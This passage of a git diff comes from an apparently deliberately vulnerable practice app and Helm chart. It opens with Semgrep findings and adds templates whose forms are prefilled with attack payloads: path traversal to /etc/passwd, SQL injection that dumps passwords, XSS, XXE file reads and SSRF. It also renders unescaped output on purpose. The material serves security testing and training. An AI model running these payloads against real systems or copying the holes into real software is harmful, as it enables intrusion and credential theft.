prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","id":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","name":"javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password-connection-string.node-knex-empty-password-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"help":{"markdown":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.require-request.require-request)\n - [https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it](https://github.com/google/node-sec-roadmap/blob/master/chapter-2/dynamism.md#dynamism-when-you-need-it)\n","text":"If an attacker controls the x in require(x) then they can cause code to load that was not intended to run on the server."},"helpUri":"https://semgrep.dev/r/javascript.express.security.require-request.require-request","id":"javascript.express.security.require-request.require-request","name":"javascript.express.security.require-request.require-request","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.require-request.require-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda.tainted-os-command-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","id":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","name":"python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-false.flask-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.httprequest-hardcoded-secret-in-request-header.httprequest-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.lang.code.tainted-code-stdlib.tainted-code-stdlib","id":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","name":"python.lang.code.tainted-code-stdlib.tainted-code-stdlib","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.code.tainted-code-stdlib.tainted-code-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","id":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","name":"ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-empty-password.ruby-pg-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","id":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","name":"python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-marshal-pyramid.tainted-marshal-pyramid"}}],"semanticVersion":"1.96.0"}}}],"$schema":"https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"}
\ No newline at end of file
diff --git a/insecure-app/templates/base.html b/insecure-app/templates/base.html
new file mode 100644
index 0000000..2995200
--- /dev/null
+++ b/insecure-app/templates/base.html
@@ -0,0 +1,189 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>{% block title %}Insecure App - Hacker's Playground{% endblock %}</title>
+    <style>
+        :root {
+            --neon-green: #00ff00;
+            --dark-bg: #0a0a0a;
+            --darker-bg: #050505;
+            --terminal-text: #00ff00;
+            --error-red: #ff3333;
+        }
+
+        body {
+            background-color: var(--dark-bg);
+            color: var(--terminal-text);
+            font-family: 'Courier New', monospace;
+            line-height: 1.6;
+            margin: 0;
+            padding: 20px;
+        }
+
+        .container {
+            max-width: 800px;
+            margin: 0 auto;
+            background-color: var(--darker-bg);
+            padding: 20px;
+            border-radius: 5px;
+            box-shadow: 0 0 10px rgba(0, 255, 0, 0.2);
+        }
+
+        h1 {
+            color: var(--neon-green);
+            text-align: center;
+            text-shadow: 0 0 10px var(--neon-green);
+            margin-bottom: 30px;
+        }
+
+        .vulnerability-section {
+            background-color: rgba(0, 255, 0, 0.1);
+            border: 1px solid var(--neon-green);
+            border-radius: 5px;
+            padding: 20px;
+            margin-bottom: 20px;
+            transition: all 0.3s ease;
+        }
+
+        .vulnerability-section:hover {
+            box-shadow: 0 0 15px rgba(0, 255, 0, 0.3);
+            transform: translateY(-2px);
+        }
+
+        h2 {
+            color: var(--neon-green);
+            margin-top: 0;
+            border-bottom: 1px solid var(--neon-green);
+            padding-bottom: 5px;
+        }
+
+        input[type="text"], input[type="file"], textarea {
+            background-color: var(--darker-bg);
+            border: 1px solid var(--neon-green);
+            color: var(--terminal-text);
+            padding: 8px;
+            width: 100%;
+            margin: 5px 0;
+            border-radius: 3px;
+        }
+
+        input[type="submit"] {
+            background-color: var(--darker-bg);
+            color: var(--neon-green);
+            border: 1px solid var(--neon-green);
+            padding: 8px 15px;
+            cursor: pointer;
+            transition: all 0.3s ease;
+        }
+
+        input[type="submit"]:hover {
+            background-color: var(--neon-green);
+            color: var(--darker-bg);
+        }
+
+        code {
+            background-color: rgba(0, 255, 0, 0.1);
+            padding: 2px 5px;
+            border-radius: 3px;
+            color: var(--neon-green);
+        }
+
+        .matrix-bg {
+            position: fixed;
+            top: 0;
+            left: 0;
+            width: 100%;
+            height: 100%;
+            z-index: -1;
+            opacity: 0.1;
+            pointer-events: none;
+        }
+
+        .glitch-text {
+            animation: glitch 1s infinite;
+        }
+
+        @keyframes glitch {
+            0% { text-shadow: 0.05em 0 0 #00fffc, -0.03em -0.04em 0 #fc00ff, 0.025em 0.04em 0 #fffc00; }
+            15% { text-shadow: 0.05em 0 0 #00fffc, -0.03em -0.04em 0 #fc00ff, 0.025em 0.04em 0 #fffc00; }
+            16% { text-shadow: -0.05em -0.025em 0 #00fffc, 0.025em 0.035em 0 #fc00ff, -0.05em -0.05em 0 #fffc00; }
+            49% { text-shadow: -0.05em -0.025em 0 #00fffc, 0.025em 0.035em 0 #fc00ff, -0.05em -0.05em 0 #fffc00; }
+            50% { text-shadow: 0.05em 0.035em 0 #00fffc, 0.03em 0 0 #fc00ff, 0 -0.04em 0 #fffc00; }
+            99% { text-shadow: 0.05em 0.035em 0 #00fffc, 0.03em 0 0 #fc00ff, 0 -0.04em 0 #fffc00; }
+            100% { text-shadow: -0.05em 0 0 #00fffc, -0.025em -0.04em 0 #fc00ff, -0.04em -0.025em 0 #fffc00; }
+        }
+
+        pre {
+            background-color: var(--darker-bg);
+            border: 1px solid var(--neon-green);
+            border-radius: 5px;
+            padding: 15px;
+            overflow-x: auto;
+            margin: 20px 0;
+            box-shadow: 0 0 10px rgba(0, 255, 0, 0.1);
+        }
+
+        a {
+            color: var(--neon-green);
+            text-decoration: none;
+            display: inline-block;
+            padding: 10px 20px;
+            border: 1px solid var(--neon-green);
+            border-radius: 3px;
+            transition: all 0.3s ease;
+        }
+
+        a:hover {
+            background-color: var(--neon-green);
+            color: var(--darker-bg);
+        }
+    </style>
+</head>
+<body>
+    <div class="matrix-bg"></div>
+    <div class="container">
+        {% block content %}{% endblock %}
+    </div>
+
+    <script>
+        // Matrix rain effect
+        const canvas = document.createElement('canvas');
+        canvas.classList.add('matrix-bg');
+        document.body.appendChild(canvas);
+        const ctx = canvas.getContext('2d');
+
+        canvas.width = window.innerWidth;
+        canvas.height = window.innerHeight;
+
+        const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@#$%^&*()*&^%";
+        const charArray = chars.split('');
+        const fontSize = 14;
+        const columns = canvas.width/fontSize;
+        const drops = [];
+
+        for(let i = 0; i < columns; i++) {
+            drops[i] = 1;
+        }
+
+        function draw() {
+            ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
+            ctx.fillRect(0, 0, canvas.width, canvas.height);
+            ctx.fillStyle = '#0F0';
+            ctx.font = fontSize + 'px monospace';
+
+            for(let i = 0; i < drops.length; i++) {
+                const text = charArray[Math.floor(Math.random() * charArray.length)];
+                ctx.fillText(text, i * fontSize, drops[i] * fontSize);
+                if(drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
+                    drops[i] = 0;
+                }
+                drops[i]++;
+            }
+        }
+
+        setInterval(draw, 33);
+    </script>
+</body>
+</html> 
\ No newline at end of file
diff --git a/insecure-app/templates/index.html b/insecure-app/templates/index.html
new file mode 100644
index 0000000..158403f
--- /dev/null
+++ b/insecure-app/templates/index.html
@@ -0,0 +1,69 @@
+{% extends "base.html" %}
+
+{% block title %}Insecure App - Hacker's Playground{% endblock %}
+
+{% block content %}
+<h1 class="glitch-text">Insecure App - Hacker's Playground</h1>
+<hr>
+
+<div class="vulnerability-section">
+    <h2>Command Injection</h2>
+    <form action="{{ form_action }}" method="post">
+        <input type="text" name="command" value="ls -la" placeholder="Enter your command...">
+        <input type="submit" value="Execute Command">
+    </form>
+</div>
+
+<div class="vulnerability-section">
+    <h2>Path Traversal via File Upload</h2>
+    <form action="{{ form_action }}" method="post" enctype="multipart/form-data">
+        <input type="file" name="file">
+        <input type="submit" value="Upload File">
+    </form>
+    <p>Try uploading a file named: <code>../../../../etc/passwd</code></p>
+</div>
+
+<div class="vulnerability-section">
+    <h2>SQL Injection</h2>
+    <form action="{{ form_action }}" method="post">
+        <input type="text" name="sql" value="SELECT * FROM users WHERE username = 'admin' OR '1'='1'" placeholder="Enter your SQL query...">
+        <input type="submit" value="Execute Query">
+    </form>
+</div>
+
+<div class="vulnerability-section">
+    <h2>Cross-Site Scripting (XSS)</h2>
+    <form action="{{ form_action }}" method="post">
+        <input type="text" name="xss" value="<script>alert('XSS');</script>" placeholder="Enter your XSS payload...">
+        <input type="submit" value="Test XSS">
+    </form>
+</div>
+
+<div class="vulnerability-section">
+    <h2>XML External Entity (XXE) Injection</h2>
+    <form action="{{ form_action }}" method="post">
+        <textarea name="xml" rows="5" placeholder="Enter your XML payload..."><?xml version="1.0"?>
+<!DOCTYPE root [
+<!ENTITY xxe SYSTEM "file:///etc/passwd">
+]>
+<root>&xxe;</root></textarea>
+        <input type="submit" value="Parse XML">
+    </form>
+</div>
+
+<div class="vulnerability-section">
+    <h2>Server-Side Request Forgery (SSRF)</h2>
+    <form action="{{ form_action }}" method="post">
+        <input type="text" name="url" value="http://localhost:8080/" placeholder="Enter target URL...">
+        <input type="submit" value="Send Request">
+    </form>
+</div>
+
+<div class="vulnerability-section">
+    <h2>SQL Injection 2</h2>
+    <form action="{{ form_action }}" method="post">
+        <input type="text" name="username" value="' UNION SELECT username || ' : ' || password FROM users --" placeholder="Enter username...">
+        <input type="submit" value="Lookup User">
+    </form>
+</div>
+{% endblock %} 
\ No newline at end of file
diff --git a/insecure-app/templates/result.html b/insecure-app/templates/result.html
new file mode 100644
index 0000000..0227e03
--- /dev/null
+++ b/insecure-app/templates/result.html
@@ -0,0 +1,11 @@
+{% extends "base.html" %}
+
+{% block title %}Insecure App - Results{% endblock %}
+
+{% block content %}
+<h1 class="glitch-text">Execution Results</h1>
+<hr>
+<pre>{{ output|safe }}</pre>
+<br>
+<a href="{{ script_name }}/">Back to Hacker's Playground</a>
+{% endblock %} 
\ No newline at end of file
diff --git a/insecure-chart/Chart.yaml b/insecure-chart/Chart.yaml
index 4c6241e..db29646 100644
--- a/insecure-chart/Chart.yaml
+++ b/insecure-chart/Chart.yaml
@@ -1,8 +1,8 @@
 apiVersion: v2
-name: insecure-apps
+name: insecure-app
 description: Intentionally insecure Helm chart for testing purposes
 type: application
-version: 0.1.1
+version: 0.3.1
 appVersion: "1.0.0"
 maintainers:
 - email: james@latio.tech
diff --git a/insecure-chart/templates/busybox.yaml b/insecure-chart/templates/busybox.yaml
index 1ea3cd5..8a41e0a 100644
--- a/insecure-chart/templates/busybox.yaml
+++ b/insecure-chart/templates/busybox.yaml
@@ -1,7 +1,7 @@
 apiVersion: apps/v1
 kind: Deployment
 metadata:
-  name: busybox-deployment
+  name: busybox
   namespace: {{ .Values.busybox.namespace }}
   labels:
     app: busybox
@@ -17,4 +17,5 @@ spec:
     spec:
       containers:
       - name: busybox
-        image: busybox
+        image: {{ .Values.busybox.image }}
+        command: {{ toYaml .Values.busybox.command | nindent 8 }}
diff --git a/insecure-chart/templates/insecure-ai.yaml b/insecure-chart/templates/insecure-ai.yaml
new file mode 100644
index 0000000..3395ba3
--- /dev/null
+++ b/insecure-chart/templates/insecure-ai.yaml
@@ -0,0 +1,93 @@
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: {{ .Values.insecureAi.namespace | default "insecure-ai" }}
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  name: insecure-ai-secrets
+  namespace: {{ .Values.insecureAi.namespace | default "insecure-ai" }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+type: Opaque
+data:
+  openai-api-key: {{ .Values.insecureAi.env.openaiApiKey | b64enc }}
+  gemini-api-key: {{ .Values.insecureAi.env.geminiApiKey | b64enc }}
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: {{ .Values.insecureAi.service.name | default "insecure-ai" }}
+  namespace: {{ .Values.insecureAi.namespace | default "insecure-ai" }}
+spec:
+  selector:
+    app: {{ .Values.insecureAi.appName | default "insecure-ai" }}
+  ports:
+    - port: {{ .Values.insecureAi.service.port | default 80 }}
+      targetPort: {{ .Values.insecureAi.service.targetPort | default 5000 }}
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: {{ .Values.insecureAi.appName | default "insecure-ai" }}
+  namespace: {{ .Values.insecureAi.namespace | default "insecure-ai" }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+spec:
+  replicas: {{ .Values.insecureAi.replicas | default 1 }}
+  selector:
+    matchLabels:
+      app: {{ .Values.insecureAi.appName | default "insecure-ai" }}
+  template:
+    metadata:
+      labels:
+        app: {{ .Values.insecureAi.appName | default "insecure-ai" }}
+    spec:
+      containers:
+      - name: {{ .Values.insecureAi.containerName | default "insecure-ai" }}
+        image: {{ .Values.insecureAi.image.repository }}:{{ .Values.insecureAi.image.tag | default "latest" }}
+        ports:
+        - containerPort: {{ .Values.insecureAi.containerPort | default 5000 }}
+        env:
+        - name: OPENAI_API_KEY
+          valueFrom:
+            secretKeyRef:
+              name: insecure-ai-secrets
+              key: openai-api-key
+              optional: true
+        - name: GEMINI_API_KEY
+          valueFrom:
+            secretKeyRef:
+              name: insecure-ai-secrets
+              key: gemini-api-key
+              optional: true
+---
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: insecure-ai-ingress
+  namespace: {{ .Values.insecureAi.namespace | default "insecure-ai" }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+  annotations:
+    nginx.ingress.kubernetes.io/rewrite-target: /$1
+    nginx.ingress.kubernetes.io/use-regex: "true"
+    meta.helm.sh/release-name: {{ .Release.Name }}
+    meta.helm.sh/release-namespace: {{ .Release.Namespace }}
+spec:
+  ingressClassName: nginx
+  rules:
+  - http:
+      paths:
+      - path: /ai/?(.*)
+        pathType: ImplementationSpecific
+        backend:
+          service:
+            name: {{ .Values.insecureAi.service.name | default "insecure-ai" }}
+            port:
+              number: {{ .Values.insecureAi.service.port | default 80 }} 
\ No newline at end of file
diff --git a/insecure-chart/templates/insecure-api.yaml b/insecure-chart/templates/insecure-api.yaml
new file mode 100644
index 0000000..83770cc
--- /dev/null
+++ b/insecure-chart/templates/insecure-api.yaml
@@ -0,0 +1,70 @@
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: {{ .Values.insecureApi.namespace }}
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: {{ .Values.insecureApi.appName }}
+  namespace: {{ .Values.insecureApi.namespace }}
+  labels:
+    app.kubernetes.io/managed-by: {{ .Release.Service }}
+    app.kubernetes.io/instance: {{ .Release.Name }}
+spec:
+  replicas: {{ .Values.insecureApi.replicas }}
+  selector:
+    matchLabels:
+      app: {{ .Values.insecureApi.appName }}
+  template:
+    metadata:
+      labels:
+        app: {{ .Values.insecureApi.appName }}
+    spec:
+      containers:
+      - name: {{ .Values.insecureApi.containerName }}
